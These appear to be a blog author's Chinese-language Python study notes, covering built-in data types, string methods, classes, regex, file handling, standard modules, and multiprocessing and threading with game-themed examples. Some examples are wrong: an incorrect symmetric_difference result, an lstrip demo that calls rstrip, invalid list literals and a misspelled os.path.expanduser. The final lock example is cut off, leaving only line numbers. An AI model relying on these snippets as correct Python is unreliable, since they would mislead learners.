'Python Notes'

1
# -*- coding: utf-8 -*-

可以识别中文

1
2
3
'''xxx
xxx
xxx'''

多行注释

代码规范

PEP8(Python Enhancement Proposal)

函数和类的定义,代码前后都要用两个空行进行分隔。

在同一个类中,各个方法之间应该用一个空行进行分隔。

二元运算符的左右两侧应该保留一个空格,而且只要一个空格就好。

变量、函数和属性应该使用小写字母来拼写,如果有多个单词就使用下划线进行连接。

类中受保护的实例属性,应该以一个下划线开头。

类中私有的实例属性,应该以两个下划线开头。

类和异常的命名,应该每个单词首字母大写。

模块级别的常量,应该采用全大写字母,如果有多个单词就用下划线进行连接。

类的实例方法,应该把第一个参数命名为self以表示对象自身。

类的类方法,应该把第一个参数命名为cls以表示该类自身。

import语句总是放在文件开头的地方。

引入模块的时候,from math import sqrtimport math更好。

如果有多个import语句,应该将其分为三部分,从上到下分别是Python标准模块、第三方模块和自定义模块,每个部分内部应该按照模块名称的字母表顺序来排列。

不要用检查长度的方式来判断字符串、列表等是否为None或者没有元素,应该用if not x这样的写法来检查它。

采用内联形式的否定词,而不要把否定词放在整个表达式的前面。例如if a is not b就比if not a is b更容易让人理解。

__代替未使用的变量

集合

list

顺序,可重复
查询速度慢,不占内存

添加元素

append()

在末尾添加元素

1
list.append('chessur')

insert()

在指定位置添加元素

1
list.insert(1,'chessur')

+

1
list += ['chessur']

删除元素

remove()

删除已知的元素,不能删除指定位置的元素

1
2
name = ['Andy','York']
name.remove('Andy')

del

删除元素

1
2
list = ['Andy','chessur']
del list[0]

删除列表

1
2
name = ['Andy','York']
del name

清空列表

clear()

1
2
list = ['Andy','chessur']
list.clear()

比较

Python使用列表的第一个元素进行比较

字符串操作

1
2
3
name = ['Andy']
name * 3
['Andy','Andy','Andy']

in & not in

1
2
3
4
5
name = ['Andy','York']
'Andy' in name
True
'York' not in name
False

index()

查询参数在列表的位置

1
2
name = ['Andy','York']
name.index('York')

count()

查询同一元素在列表里出现的次数

1
2
3
4
name = ['Andy','York']
name.extend(['Andy','Windy'])
name.count('Andy')
name.count('Windy')

reverse()

将列表顺序颠倒

1
2
number = [1,2,3,4,5,67,,89,98,3,5,346,56,0]
number.reverse()

会改变原列表

reversed()

返回逆向迭代的序列值

1
2
3
4
list = [1,2,3,4,5,26]
for each in reversed(list):
print(each,end = ',')
//26,5,4,3,2,1,

不会改变原列表,生成一个新的迭代器对象

[::-1]

1
2
3
4
number = ['1','2','6']
re_number = number[::-1]
print(re_number)
//['6','2','1']

sort()

按顺序排列,改变列表原始值

1
2
number = [1,2,3,4,5,67,,89,98,3,5,346,56,0]
number.sort()

sorted()

按顺序排列,不改变列表原始值

1
2
3
4
5
list = ['A','n','d','y']
list1 = sorted(list,reverse=True)
//反序排列
list2 = sorted(list,key=len)
//按长度排列

range(0)

range(0)不会迭代

pop()

和集合的pop()不同,列表的pop()默认弹出最后一个元素,并可指定弹出位置

1
2
3
4
5
6
7
list = [1,2,3]
list.pop()
//3
list.pop(1)
//2
print(list)
//1

dict

顺序,key-value对,key不可重复
查询速度快,占内存

获取value

1
变量名[key] 变量名.get(key) 变量名.get(key,'找不到key对应的值时使用的value')
1
2
3
for key in dict:
print('s'.format(key))
print('s'.format(value))

set

无序,不可重复
查询速度快,不占内存

set()

将数据类型转化为集合

1
2
3
4
list = [1,2,3,3,5]
set = set(list)
print(set)
//{1,2,3,5}

add()

1
2
set = {1,2,3}
set.add(4)

update()

1
2
3
4
set = {1,2,3}
set.update([11,12])
print(set)
//{1,2,3,11,12}

pop()

将第一元素取出,返回该元素

1
2
3
4
5
set = {1,2,3}
print(set.pop())
//1
print(set)
{2,3}

集合运算

intersection()

求两集合的交集,等价于 &运算符

1
2
3
4
5
6
set1 = {1,2,3,4,5}
set2 = {2,3,5,7}
print(set1.intersection(set2))
//{2,3,5}
print(set1 & set2)
//{2,3,5}

union()

求两集合的并集,等价于|

1
2
3
4
5
6
set1 = {1,2,3,4,5}
set2 = {2,3,5,7}
print(set1.union(set2))
//{1,2,3,4,5,7}
print(set1 | set2)
//{1,2,3,4,5,7}

difference()

求两集合的差集,等价于-

1
2
3
4
5
6
set1 = {1,2,3,4,5}
set2 = {2,3,5,7}
print(set1.difference(set2))
//{1,4}
print(set1 - set2)
//{1,4}

symmetric_difference()

求两集合的对称差,等价于^

1
2
3
4
5
6
set1 = {1,2,3,4,5}
set2 = {2,3,5,7}
print(set1.symmetric_difference(set2))
//{1,4}
print(set1 ^ set2)
//{1,4}

issubset()

判断子集,等价于<=

1
2
3
4
5
6
7
8
9
set1 = {1,2,3,4,5}
set2 = {2,3,5,7}
set3 = {1,2}
print(set3.issubset(set1))
//True
print(set3 <= set1)
//True
print(set2.issubset(set1))
//False

issuperset()

判断超集,等价于>=

1
2
3
4
5
6
7
8
9
set1 = {1,2,3,4,5}
set2 = {2,3,5,7}
set3 = {1,2}
print(set1.issuperset(set3))
//True
print(set1 >= set3)
//True
print(set2.issuperset(set1))
//False

tuple

不可更改元素

添加元素

1
2
tuple = (1,2,3,4,5)
tuple = tuple[:3] + (26,) + tuple[3:]

删除元素

1
2
tuple = (1,2,3,4,5)
tuple = tuple[:2] + tuple[3:]

求长度

len()

切片

slice[index:length]
第一个索引是0可以省略L[:26]
只用一个:表示从头到尾L[:]
第三个参数,表示每个N个取一个L[::2],每2个元素取一个
索引可以为负值,表示倒数第N个
字符串也是一种list,可以进行切片操作

1
2
3
a = [1,2,3,4,5]
b = a[:]
c = a

切片是将值赋给变量

enumerate()

将list加上索引

1
2
3
['Adam', 'Lisa', 'Bart', 'Paul']
//enumerate()
[(0, 'Adam'), (1, 'Lisa'), (2, 'Bart'), (3, 'Paul')]

zip()

将两个list结合

1
2
zip([10, 20, 30], ['A', 'B', 'C'])
[(10, 'A'), (20, 'B'), (30, 'C')]

迭代dict的value

values()方法:将dict转换为包含了value的list

itervalues()方法:在迭代过程中依次从dict中取出value,节省内存

同时迭代dict的value和key

items()方法

iteritems()方法

列表生成式

1
2
[x * x for x in range(1,11)]
[1, 4, 9, 16, 25, 36, 49, 64, 81, 100]

列表生成式的 for 循环后面还可以加上 if 判断

1
2
[x * x for x in range(1, 11) if x % 2 == 0]
[4, 16, 36, 64, 100]

复杂列表生成式

1
2
3
4
5
tds = ['<tr><td>%s</td><td>%s</td></tr>' % (name, score) for name, score in d.iteritems()]
print '<table>'
print '<tr><th>Name</th><th>Score</th><tr>'
print '\n'.join(tds)
print '</table>'

max()

返回集合或参数中的最大值

1
2
3
4
5
6
list = [1,2,3,26]
name = 'Andy'
max(list)
//26
max(name)
//y

min()

返回集合或参数中的最小值

sum()

返回总和

选择分支

if

python3里可以使用下列方式返回函数值

1
2
3
4
5
def is_prime(num):
for factor in range(2, num):
if num % factor == 0:
return False
return True if num != 1 else False

String

替换

string.replace()

1
string.replace('被替换','待替换')

替换多个

1
string.replace('被替换','待替换').replace('被替换','待替换')

分割

split()

将字符串分割成列表

1
2
3
split(sep=None, maxsplit=-1)
//sep是分割符,默认为空格
//maxsplit是分割数量,默认为-1,即无限制

input()

python3中没有raw_input()
raw_input()input()整合为input()

转换

Ascii码

1
ord(str)

字符

1
chr(num)

删除

strip()

删除字符串两边的指定字符,默认为空格

1
2
3
string = ' chessur '
print(string.strip())
//chessur

rstrip()

删除字符串最右边的指定字符,默认为空格

1
2
3
string = ' chessur '
print(string.rstrip())
// chessur

lstrip()

删除字符串最左边的指定字符,默认为空格

1
2
3
string = ' chessur '
print(string.rstrip())
//chessur

查找

find()

1
2
3
4
5
string = 'chessur'
print(string.find('ss'))
//3
print(string.find('life'))
//-1

index()

1
2
3
4
5
string = 'chessur'
print(string.index('ss'))
//3
print(string.index('life'))
//报错

index()为找到匹配项时,会报错,报错内容是substring not found

更改字符

capitalize()

首字母大写

1
2
3
string = 'chessur'
print(string.capitalize())
'Chessur'

upper()

字符全部大写

1
2
3
string = 'chessur'
print(string.upper())
//CHESSUR

lower()

字符全部小写

1
2
3
string = 'Chessur'
print(string.lower())
//chessur

center()

将字符串以指定的宽度居中,并用指定的字符填充两侧

1
2
3
string = 'chessur'
print(string.center(26,'~'))
//~~~~~~~~~chessur~~~~~~~~~~

ljust()

将字符串以指定的宽度靠左,并用指定的字符填充两侧

1
2
3
string = 'chessur'
print(string.ljust(26,'~'))
//chessur~~~~~~~~~~~~~~~~~~~

rjust()

将字符串以指定的宽度靠右,并用指定的字符填充两侧

1
2
3
string = 'chessur'
print(string.rjust(26,'~'))
//~~~~~~~~~~~~~~~~~~~chessur

检查

startswith()

1
2
3
4
5
string = 'chessur'
print(string.startswith('che'))
//True
print(string.startswith('ss'))
//False

endswith()

1
2
3
4
5
string = 'chessur'
print(string.endswith('sur'))
//True
print(string.endswith('che'))
//False

isdigit()

1
2
3
string = 'chessur'
print(string.isdigit())
//False

isalpha()

1
2
3
string = 'chessur'
print(string.isalpha())
//True

isalnum()

1
2
3
string = 'chessur'
print(string.isalnum())
//True

添加

join()

使用指定字符分割列表中元素,需要元素都是字符类型

1
2
3
list = ['chessur','60','Druid']
print('~'.join(list))
//chessur~60~Druid

函数

函数变量优先级

局部作用域>嵌套作用域>全局作用域>内置作用域

1
2
3
4
5
6
7
8
9
10
11
12
def chessur():
b = 'hello'
def windy():
c = 'world'
print(a)
print(b)
print(c)
windy()

if __name__ == '__main__':
a = 'chessur'
chessur()

上面的例子里,变量a是全局作用域,变量b对于函数chessur()来说是局部作用域,对于函数windy()来说是嵌套作用域,内置作用域是Python自带的一些函数。

中文名 英文名
局部作用域 Local
嵌套作用域 Enclosing
全局作用域 Global
内置作用域 Built-in

可以使用global来让函数中的变量来自全局作用域,使用nonlocal来表示变量来自嵌套作用域

修改后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def chessur():
b = 'hello'
def windy():
nonlocal b
b = 'kindle'
c = 'world'
print(a)
print(b)
print(c)
windy()
print(b)

if __name__ == '__main__':
a = 'chessur'
chessur()
'''
chessur
kindle
world
kindle
'''

print()

format()

1
2
3
4
5
6
7
8
9
10
11
12
13
A = 1
B = 2

#位置参数
print("A+B={} A-B={}".format(A+B,A-B))
print("A+B={0} A-B={1}".format(A+B,A-B))
#关键词参数
print("A+B={a} A-B={b}".format(a = A+B,b = A-B))
#位置参数必须在关键词参数前面
#错误用法:SyntaxError: positional argument follows keyword argument
print("A+B={a} A-B={0}".format(a = A+B,A-B))
#正确用法:
print("A+B={0} A-B={a}".format(A+B,a = A-B))
1
print(f'计算0-9的平方分别为:{result}')

格式化操作符

符号 含义
%c 格式化字符及ASCII
%s 格式化字符串
%d 格式化整数
%o 格式化无符号八进制
%x 格式化无符号十六进制数
%X 格式化无符号十六进制数(大写)
%f 格式化浮点数字,可指定小数点后的精度
%e 用科学计数法格式化浮点数
%E 用科学计数法格式化浮点数(大写)
%g 根据值的大小决定使用%f或%E
%G 根据值的大小决定使用%f或%E(大写)
1
2
'%c' % 99
'%c%c%c%c%c%c%c' % (99,104,101,115,115,117,114)

格式化操作符的辅助命令

符号 含义
m.n m是最小总宽度,n是小数点后的位数
- 结果左对齐
+ 在证书面前显示加号(+)
# 在八进制面前显示‘0o’,在十六进制数面前显示‘0x’,’0X’
0 显示的数字前面填充‘0’代替空格

Python的转义字符及含义

符号 含义
\’ 单引号
\” 双引号
\a 发出系统响铃
\b 退格符
\n 换行符
\t 横向制表符(TAB)
\v 纵向制表符
\r 回车符
\f 换页符
\o 八进制数代表字符
\x 十六进制数代表字符
\0 代表一个空字符
\\ 反斜杠

print()函数默认结尾为\n,可以使用end=' '改变结尾

1
2
print('Hello',end=' ')
print('World',end=' ')

在字符串前添加\r,表示将输出的内容返回到第一个指针,可以实现倒计时的功能

1
2
3
4
5
6
7
8
9
10
11
import time


def main():
for i in range(10):
print('\r倒计时:%d'%(9 - i),end = '')
time.sleep(1)


if __name__ == "__main__":
main()

方法

类的方法第一个参数是`self

__init__()

用于在创建对象时进行初始化操作

1
2
3
4
class Druid(object):
#创建时,可以赋予name属性
def __init__(self,name):
self.name = name

__del__()

在脚本结束时,销毁对象

1
2
3
class Druid(object):
def __del__(self):
print("销毁对象")

__str__()

在调用类作为字符串时,使用该方法

1
2
3
class Druid(object):
def __str__(self):
return '%s,%s,%s' %(self._name,self._level,self._gender)

__slots__

限定对象可以更改的属性

1
2
class Druid(object):
__slots__ = ('_name','_level','_gender')

装饰器

@property

访问器 - getter 方法

@attribute.setter

修改器 - setter 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
class Druid(object):

__slots__ = ('_name','_level','_gender')

def __init__(self,name,level):
self._name = name
self._level = level

@property
def name(self):
return self._name

@property
def level(self):
return self._level

@level.setter
def level(self,level):
self._level = level


def fly(self):
if self._level < 60:
print('%s不能飞行' %self._name)
else :
print('%s可以飞行' %self._name)


def main():
chessur = Druid('chessur',48)
chessur.fly()
chessur.level = 60
chessur.fly()
chessur._gender = 'male'


if __name__ == '__main__':
main()

装饰器相当于用一个函数去调用被装饰的函数

静态方法

@staticmethod

静态方法是属于类的方法,而不是对象的方法

类方法

@classmethod

类方法的第一个参数约定名为cls

类之间的关系

is-a

继承或泛化

has-a

关联,关联分为聚合关系和合成关系。聚合关系是整体和部分的关联,如果整体进一步负责了部分的生命周期(整体和部分是不可分割的,同时存在也同时消亡),那么是合成关系

use-a

依赖,类的方法调用了另一个类

继承和多态

一个类从另一个类那里将方法和属性直接继承下来,提供继承信息的称为父类、超类或基类;得到继承信息的称为子类、派生类或衍生类。子类除了继承父类提供的属性和方法,还可以定义自己特有的属性和方法。

super()

可以继承父类的属性

1
2
3
4
class Feral(Druid):
def __init__(self,name,level,spell):
super().__init__(name,level)
self._spell = spell

继承

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
class Druid(object):

def __init__(self,name,level):
self._name = name
self._level = level

@property
def name(self):
return self._name

@property
def level(self):
return self._level

@level.setter
def level(self,level):
self._level = level

def __str__(self):
return '%s,%d' %(self._name,self._level)

def choose_pro(self):
if self._level >= 10:
print('%s可以选择专精' %self._name)
else:
print('%s不可以选择专精' %self._name)

def farming(self):
print('%s正在做任务练级……' %self._name)


class Feral(Druid):

def __init__(self,name,level,spell):
super().__init__(name,level)
self._spell = []
self._spell.append(spell)

@property
def spell(self):
return self._spell

@spell.setter
def spell(self,spell):
self._spell.append(spell)

def study(self,course):
print('%s正在学习%s' %(self._name,course))


class Restoration(Druid):

def __init__(self,name,level,spell):
super().__init__(name,level)
self._spell = []
self._spell.append(spell)

@property
def spell(self):
return self._spell

@spell.setter
def spell(self,spell):
self._spell.append(spell)

def study(self,course):
print('%s正在学习%s' %(self.name,course))

def healing(self,target):
print('%s正在释放%s治疗%s' %(self._name,self._spell[0],target))


def main():
chessur = Feral('chessur',60,'rake')
chessur.study('bite')
chessur.spell = 'cat form'
print(chessur.spell)
windy = Restoration('Windy',10,'Rejuvenation')
windy.healing('chessur')


if __name__ == "__main__":
main()

多重继承

一个子类可以继承多个父类的属性和方法,相同方法名,以第一个父类为准

多态

子类在继承父类的方法后,可以重写(override)父类的方法,通过方法重写,可以让父类的一个方法在子类中拥有不同的版本。当子类调用重写的方法时,不同的子类对象会表现出不同的行为,这就是多态

抽象类

不能创建对象的类,专门为了让其他类去继承它。Python没有办法直接设置抽象类,可以通过abc模块的ABCMeta元类和abstractmethod装饰器来达到抽象类的效果,如果一个类中存在抽象方法,那么这个类就不能实例化。

正则表达式

re模块

regular expression

1
import re

正则表达式前添加r原始字符串,让字符串中的每个字符都是原始的意义。因为正则表达式中有很多元字符和需要进行转义的地方,如果不适用原始字符串就需要将反斜杠写成\\,这样写不仅不方便,也不便于阅读

compile()

编译正则表达式返回正则表达式对象

1
re.compile(pattern,flags=0)

使用compile()时,需要把flags提前放在compile()里

match()

用正则表达式匹配字符串,成功返回匹配对象,否则返回None

1
re.match(pattern,string,flags=0)
1
re.search(pattern,string,flags=0)

search()方法返回第一个匹配的值

形式为

1
<re.Match object; span=(12, 27), match='密码是:weibomima1,'>

使用group()获得search()返回的结果

使用group(0)获得search()返回的结果中分组的值

split()

用正则表达式指定的模式分割符拆分字符,返回列表

1
re.split(pattern,string,maxsplit=0,flags=0)

sub()

用指定的字符串替换原字符串中与正则表达式匹配的模式,可以用count指定替换的次数

1
re.sub(pattern,repl,string,count=0,flags=0)

fullmatch()

match函数的完全匹配(从字符串开头到结尾)版本

1
re.fullmatch(pattern,string,flags=0)

findall()

查找字符串所有与正则表达式匹配的模式,返回字符串的列表

1
re.findall(pattern,string,flags=0)

re模块包含一个findall()方法它能够以列表形式返回所有满足要求的字符串,若没有匹配到结果,就会返回空列表。flags表示一些特殊功能的标志

finditer()

查找字符串所有与正则表达式匹配的模式,返回一个迭代器

1
re.finditer(pattern,string,flags=0)

purge()

清除隐式编译的正则表达式的缓存

re.S

标记:将.的作用扩展到整个字符串,包括\n

re.I

标记:忽略大小写匹配

re.M

标记:多行匹配

文件操作

mode 含义
'r' 读取(默认)
'w' 写入,会删除之前的内容
'x' 写入,如果文件已存在会产生异常
'a' 追加,将内容写入已有文件的末尾
'b' 二进制模式
't' 文本模式(默认)
'+' 更新,既可读又可写

打开文件

Python文件操作mode如果想读取,必须为'r'

方法1

1
2
3
file = open ('文件路径','文件操作方式',encoding='utf-8')
对文件进行操作
file.close()

方法2

1
2
with open('文件路径','文件操作方式',encoding='utf-8') as file:
对文件进行操作

第一种需要手动给关闭文件
第二种需要注意缩进,退出缩进Python就会自动关闭文件

读文件

读取文件可以使用相对路径和绝对路径
相对路径是文本文件相对于现在的工作区而言的路径,并不总是相对于当前正在运行的这个Python文件的路径

Python需要导入os模块来使用~表示家目录

1
2
import os
real_path=os.path.expanduse('~/project/xxx')

打开文件

1
2
with open('文件路径','r',encoding='utf-8') as file:
对文件进行操作

readlines()

读取文件内容,将文件的每一行作为列表元素返回
readlines()会将文件内容取出,如果再次使用read()读取会返回空值

read()

读取文件内容,将所有内容作为字符串返回

readline()

每次读取一行,使用循环读取所有内容

写文件

1
2
with open('文件路径','w',encoding='utf-8') as file:
对文件进行操作

写文件有2种,w和a

w覆盖掉之前的内容,a是追加内容

write()

直接将一段字符串写入文本

writelines()

writelines(['line0','line1'])

在写文件时,Python不会添加换行符,需要手动添加

操作CSV文件

Python自带处理CSV文件的模块

Python处理CSV文件需要有序字典形式

1
import csv

读CSV文件

1
2
3
4
with open('csvfile','r',encoding='utf-8') as csvfile:
reader = csv.DictReader(file)
for row in reader:
print(row)

写CSV文件

1
2
3
4
5
with open('csvfile','a',encoding='utf-8') as csvfile:
writer = csv.DictWriter(csvfile,fieldnames=['name','age','salary'])
writer.writeheader()
writer.writerows(data)
writer.writerow({'name':Greeny,'age':24,'salary':99999})

模块

random模块

random.randint()

生成整数随机数

1
random.randint(1,6)

random.randrange()

可设置步长,默认为1

1
2
3
random.randrange ([start,] stop [,step])
random.randrange(1,100,2)
//生成奇数随机数

random.random()

随机生成0~1之间的浮点数

random.sample()

返回序列(列表、元组、字符串、Unicode字符串、buffer对象、xrange对象)中指定个数的随机切片

1
2
3
list = [x for x in range(1,10)]
random.sample(list,5)
//[1,2,3,4,6]

requests模块

requests.get()

1
requests.get('url')

返回Response对象

Response.content

返回二进制格式的网页内容

Response.content.decode()

解码为字符格式的网页内容
该方法默认参数为'utf-8',需要根据不同网页进行更改,其他参数有'GBK''GB2312''GB18030'

Response.json()

返回Json格式的Response

requests.status_code

返回响应状态码

内置的状态码查询对象:requests.codes.ok

1
2
3
html = requests.get(url)
html.status_code
html.status_code == requests.codes.ok

multiprocessing模块

dummy模块

dummy下有一个Pool类,用来实现线程池,线程池下有一个map()方法,可以让线程池里面的所有线程都“同时”执行一个函数

Pool.map()

1
pool.map(function,iterable)

第一个参数为函数,第二个参数为可迭代的对象:列表、元组、集合、字典

multiprocessing.Process

创建子进程

1
2
import multiprocessing
p1 = multiprocessing.Process(target = study,args = ('chessur',))

启动子进程

multiprocessing.Process.start()

1
2
3
import multiprocessing
p1 = multiprocessing.Process(target = study,args = ('chessur',))
p1.start()

等待子进程结束

multiprocessing.Process.join()

1
2
3
4
import multiprocessing
p1 = multiprocessing.Process(target = study,args = ('chessur',))
p1.start()
p1.join()

OS模块

创建目录

os.makedirs()

1
os.makedirs('目录名',exist_ok=True)

exis_ok=True当存在相同目录名时,不再创建

os.path.join()

1
os.path.join('目录名',filename+'.后缀名')

python会根据系统环境(Windows,Linux)添加斜杠

os.listdir()

1
os.listdir('dir')

返回列表,列表元素为文件名

os.rename()

1
os.rename('原文件名','新文件名')

os.system()

执行系统命令

subprocess.Popen()的区别:subprocess可以将执行结果通过STDOUT赋给变量

os.getpid()

获取进程号

1
2
import os
os.getpid()

lxml模块

XPath语法

1
info = selector.xpath('//div[@class="useful"]/ul/li/test()')

直接返回列表,列表中是需要提取的内容

1
2
3
import lxml.html
selector = lxml.fromstring('网页源代码')
info = selector.xpath('XPath语句')

获取文本

1
//标签1[@属性1="属性值1"]/标签2[@属性2="属性值2"]/.../text()

获取属性值

1
//标签1[@属性1="属性值1"]/标签2[@属性2="属性值2"]/.../@属性n

需要使用独特的标签属性值过滤

属性以某些字符串开头

1
2
//标签[starts-with(@属性名,"相同的开头部分")]
//div[starts-with(@id,"test")]/test()

json模块

将Python中的对象以JSON格式保存到文件中

json.dump()

将Python对象按照JSON格式序列化到文件中

1
2
3
4
5
6
7
import json

my_dict = {'name':'chessur','level':60,'spec':'Feral'}
with open ('test.json','w',encoding = 'utf-8') as file:
json.dump(my_dict,file)

//{"name": "chessu", "level": 60, "spec": "Feral"}

json.dumps()

将Python对象处理成JSON格式的字符串

1
2
3
4
5
import json
my_dict = {'name':'chessur','level':60,'spec':'Feral'}
print(json.dumps(my_dict))

//{"name": "chessu", "level": 60, "spec": "Feral"}

json.load()

将文件中的JSON数据反序列化称为Python对象

1
2
3
4
5
import json
with open ('test.json','r',encoding = 'utf-8') as file:
string = json.load(file)
print(string)
//{"name": "chessu", "level": 60, "spec": "Feral"}

json.loads()

将字符串的内容反序列化成Python对象

1
2
3
4
import json
my_dict = {'name':'chessur','level':60,'spec':'Feral'}
string = json.dumps(my_dict)
string1 = json.loads(string)

csv模块

csv.reader()

获取csv文件中的内容,返回csv reader对象

1
2
3
4
# example.csv
chessur,Druid,60
Windy,Priest,40
Andy,Hunter,60
1
2
3
4
5
6
import csv
with open('chessur.csv','r',encoding = 'utf-8') as file:
data = csv.reader(file)
data_list = list(data)
for item in data_list:
print('%-10s%-10s%-10s' %(item[0],item[1],item[2]))

shutil模块

提供了复制文件及文件夹的功能

shutil.copyfile()

复制文件内容到src

1
shutil.copy(src,dst)
1
2
import shutil
shutil.copyfile('./test.txt','./test2.txt')

shutil.copymode()

将src文件权限复制到dst文件,文件内容,所有者和组不受影响

1
shutil.copymode(src,dst)
1
2
import shutil
shutil.copymode('./test.txt','./test2.txt')

shutil.copystat(src,dst)

将src文件的权限,上次访问时间,上次修改时间以及src的标志复制到dst文件

shutil.copy()

复制文件,权限会一并被复制

1
shutil.copy(src,dst)
1
2
import shutil
shutil.copy('./test.txt','./test1.txt')

threading模块

threading.Thread()

创建新的线程

1
threading.Thread(target = study, args = ('chessur', ),daemon = True)

target是目标函数,args是目标函数的参数,daemon表示守护进程,主线程退出就不再保留执行

threading.Thread.start()

启动线程

threading.Thread.join()

等待完成

threading.Lock()

创建锁对象

threading.Lock().acquire()

获取锁

threading.Lock().release()

释放锁

tkinter模块

提供图形化界面

tkinter.Tk()

主界面

tkinter.Tk().title()

主界面标题

1
2
3
import tkinter

tkinter.Tk().title('chessur')

tkinter.Tk().geometry()

主界面大小

1
2
3
import tkinter

tkinter.Tk().geometry('120x120')

tkinter.Tk().wm_attributes()

设置属性

参数 含义
-topmost 指定是否是一个永远最前的窗口
-alpha 指定顶层窗口的透明度。0(完全透明)到1(不透明)
-fullscreen 设置是否占据整个屏幕

tkinter.Button()

生成按钮

1
tkinter.Button(master = None, text = 'Study', command = study)

tkinter.Button().config()

设置按钮属性

1
2
tkinter.Button().config(state = tkinter.NORMAL)
tkinter.Button().config(state = tkinter.DISABLED)

tkinter.Button().pack()

设置按钮位置

1
tkinter.Button().pack(side = 'TOP')

tkiter.messagebox.showinfo()

显示提示信息

1
2
3
import tkinter.messagebox

tkinter.messagebox.showinfo('提示','chessur升至60级')

异常处理

使用tryexceptfinally

try写执行的代码
except尝试抓捕的异常
finally不管有没有异常都会执行的代码

Python标准异常

名称 描述
BaseException 所有异类的基类
ZeroDivisionError 除(或取模)零
IndexError 序列中没有此索引(Index)
ValueError 传入无效的参数
TypeError 对类型无效的操作
1
2
3
4
try:
...
except (Error1,Error2) as msg:
print(msg)
1
2
3
4
5
6
try:
...
except Error1:
print('Error1')
except Error2:
print('Error2')

进程和线程

进程

进程是操作系统中执行的一个程序,操作系统以进程为单位分配存储空间。

Unix和Linux系统提供了fork()系统调用来创建进程,调用fork()函数的是父进程,创建出的是子进程,子进程是父进程的一个拷贝,但是子进程拥有自己的PID。fork()函数会返回两次,父进程中可以通过fork()函数的返回值得到子进程的PID,而子进程的返回值永远都是0。Python的os模块提供了fork()函数。

Windows系统没有fork()调用,可以使用multiprocessing模块的Process类来创建子进程,该模块还提供了更高级的封装,例如批量启动进程的进程池(Pool)、用于进程间通信的队列(Queue)和管道(Pipe)

可以使用subprocess模块中的类和函数来创建和启动子进程,然后通过管道来和子进程通信。

多进程实例

以做任务为例,单进程做任务就是做完一个任务,再做下一个任务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from random import randint
from time import sleep,time


def finish_quest(filename):
print('开始任务:%s' %(filename))
time_to_finish = randint(5,10)
sleep(time_to_finish)
print('%s任务完成,耗时%d秒' %(filename,time_to_finish))


def main():
start = time()
finish_quest('杀死15只怪物')
finish_quest('解救15名NPC')
end = time()
print('共耗费%.2f秒' %(end - start))


if __name__ == "__main__":
main()

'''
开始任务:杀死15只怪物
杀死15只怪物任务完成,耗时5秒
开始任务:解救15名NPC
解救15名NPC任务完成,耗时5秒
共耗费10.00秒
'''

多进程做任务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from multiprocessing import Process
from os import getpid
from random import randint
from time import sleep,time


def finish_quest(filename):
print('开始任务:%s' %(filename))
time_to_finish = randint(5,10)
sleep(time_to_finish)
print('%s任务完成,耗时%d秒' %(filename,time_to_finish))


def main():
start = time()
p1 = Process(target = finish_quest,args = ('杀死15只怪物',))
p2 = Process(target = finish_quest,args = ('解救15名NPC',))
p1.start()
p2.start()
p1.join()
p2.join()
end = time()
print('共耗费%.2f秒' %(end - start))


if __name__ == "__main__":
main()

'''
开始任务:杀死15只怪物
开始任务:解救15名NPC
杀死15只怪物任务完成,耗时6秒
解救15名NPC任务完成,耗时8秒
共耗费8.15秒
'''

线程

一个进程拥有多个并发的执行线索,简单的说拥有多个可以获得CPU调度的执行单元,这就是所谓的线程。由于线程是在同一个进程下,他们可以共享相同的上下文,因此相对于进程而言,进程间的信息共享和通信更加容易。

使用threading模块来实现多线程

多线程做任务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from threading import Thread
from random import randint
from time import sleep,time


class finish_quest(Thread):

def __init__(self,filename):
super().__init__()
self._filename = filename

def run(self):
print('开始任务:%s' %(self._filename))
time_to_finish = randint(5,10)
sleep(time_to_finish)
print('%s任务完成,耗时%d秒' %(self._filename,time_to_finish))


def main():
start = time()
t1 = finish_quest('杀死15只怪物')
t2 = finish_quest('解救15名NPC')
t1.start()
t2.start()
t1.join()
t2.join()
end = time()
print('共耗费%.2f秒' %(end - start))


if __name__ == "__main__":
main()

'''
开始任务:杀死15只怪物
开始任务:解救15名NPC
解救15名NPC任务完成,耗时5秒
杀死15只怪物任务完成,耗时10秒
共耗费10.00秒
'''

当多线程共享同一个变量(资源)时,会产生不可控的结果从而导致程序失效甚至崩溃。如果一个资源被多个线程竞争使用,这个资源被称为”临界资源”,”对临界资源”的访问需要加上保护,否则资源会处于”混乱”的状态

使用100个线程向同一个银行账户转账,此时,银行账户余额时一个临界资源,再没有保护的情况下,可能会得到错误的结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from time import sleep
from threading import Thread


class Account(object):

def __init__(self):
self._balance = 0

def deposit(self, money):
new_balance = self._balance + money
sleep(0.01)
self._balance = new_balance

@property
def balance(self):
return self._balance


class AddMoneyThread(Thread):

def __init__(self, account, money):
super().__init__()
self._account = account
self._money = money

def run(self):
self._account.deposit(self._money)


def main():
account = Account()
threads = []
for _ in range(100):
t = AddMoneyThread(account, 1)
threads.append(t)
t.start()
for t in threads:
t.join()
print('账户余额为: ¥%d元' % account.balance)


if __name__ == '__main__':
main()

执行结果远远小于100元,出现这种情况的原因是,没有对余额这个临界资源加以保护,多个线程同时转账时,会导致一起执行new_balance = self._balance + money,多个线程的账户余额都是初始状态下的0。

这种情况下,可以使用”锁”来保护临界资源,只有获得”锁”的线程可以访问临界资源,其他没有获得”锁”的线程只能被阻塞起来,直到获得”锁”的线程释放了”锁”,其他线程才有机会获得”锁”,这是才可以访问被保护的临界资源

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
